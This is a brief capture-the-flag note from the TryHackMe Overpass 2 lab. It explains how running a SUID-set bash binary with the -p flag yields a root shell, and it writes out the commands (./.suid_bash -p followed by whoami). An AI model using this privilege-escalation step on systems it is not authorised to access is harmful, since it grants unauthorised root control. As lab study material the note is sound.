SUID - bash
In challenge tryhackme:overpass2
Last updated
In challenge tryhackme:overpass2
Last updated
Reference: gtfobins here.
When SUID bit is set on a bash executable, we can use the -p options to elevate our privileges to root like so:
bash (gives user shell) bash -p (gives root shell if SUID set)
Similarly here,
./.suid_bash
whoami
./.suid_bash -p
whoami